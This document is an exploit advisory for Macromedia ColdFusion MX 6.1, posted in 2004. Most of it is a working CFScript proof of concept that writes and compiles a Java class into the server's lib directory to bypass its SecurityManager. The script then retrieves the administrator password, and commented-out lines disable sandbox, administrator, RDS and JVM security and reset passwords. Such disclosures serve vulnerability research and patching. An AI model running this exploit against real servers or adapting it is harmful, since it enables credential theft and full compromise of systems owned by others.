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coldfusionmx61.txt

coldfusionmx61.txt
Posted Oct 7, 2004
Authored by Eric Lackey

There is a vulnerability in ColdFusion MX 6.1 when a user can create a cold fusion template on a ColdFusion server with CreateObject or cfobject tags enabled.

tags | exploit
SHA-256 | b35cc809e881359da234ac0dce6ce8d8cc7a7743cecbf5078cdcc0b3ca19a324

coldfusionmx61.txt

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Software: Macromedia ColdFusion MX 6.1

Description:
There is a vulnerability in the ColdFusion MX 6.1 product. To exploit
this, a user needs access to create a cold fusion template on a
ColdFusion server with CreateObject or cfobject tags enabled. The
code given below writes a java class to the ColdFusion lib directory
which allows writing by default. This code compiles the java file,
but there are other ways to write the class file if the compiler class
is not available. Once the class is written, it can be accessed by CF
and all methods exposed. A user can do a variety of things like
getting the administrator password. Code and examples are given
below.

Platform Tested: Windows/Linux

Version Tested: ColdFusion MX 6.1

<cfscript>

objFileWriter = CreateObject("java","java.io.FileWriter");

objByteArray = CreateObject("java","java.io.ByteArrayOutputStream");

objJavaC = CreateObject("java","sun.tools.javac.Main");

objString = CreateObject("java","java.lang.String");

objFile = CreateObject("java","java.io.File");

if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; }

strJavaSource = "#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java";

strCfusionJar = "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar";

strNeoSecFile = "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml";

strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s#password.properties";

fileWriter = objFileWriter.init("#strJavaSource#",false);

fileWriter.write("import coldfusion.security.SecurityManager;");

fileWriter.write("import java.io.File;");

fileWriter.write("public class SecurityExploit extends SecurityManager {");

fileWriter.write("public SecurityExploit(File arg0, File arg1) {");

fileWriter.write("super(arg0, arg1); }");

fileWriter.write("public boolean isAdminSecurityEnabled(){");

fileWriter.write("return false;}}");

fileWriter.flush();

fileWriter.close();

str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#");

strArr = str.split(",");

byteArray = objByteArray.init();

compileObj =objJavaC.init(byteArray,str);

compileObj.compile(strArr);

obj = CreateObject("java","SecurityExploit");

file1 = objFile.init("#strNeoSecFile#");

file2 = objFile.init("#strPasswdFile#");

obj.init(file1,file2);

obj.load();

</cfscript>

<cfscript>

// Get Administrator Password

strAdminPw = obj.getAdminPassword();

// Set Administrator Password

//obj.setAdminPassword("test123");


// Turn off Sandbox Security

//obj.setSandboxSecurityEnabled(false);


// Turn off Administrator Login

//obj.setAdminSecurityEnabled(false);


// Turn off RDS Login

//obj.setRdsSecurityEnabled(false);


// Set RDS Password

//obj.setRdsPassword("test123");


// Turn off JVM Security

//obj.setJvmSecurityEnabled(false);

</cfscript>

<cfoutput>Adminstrator Password: #strAdminPw#</cfoutput>
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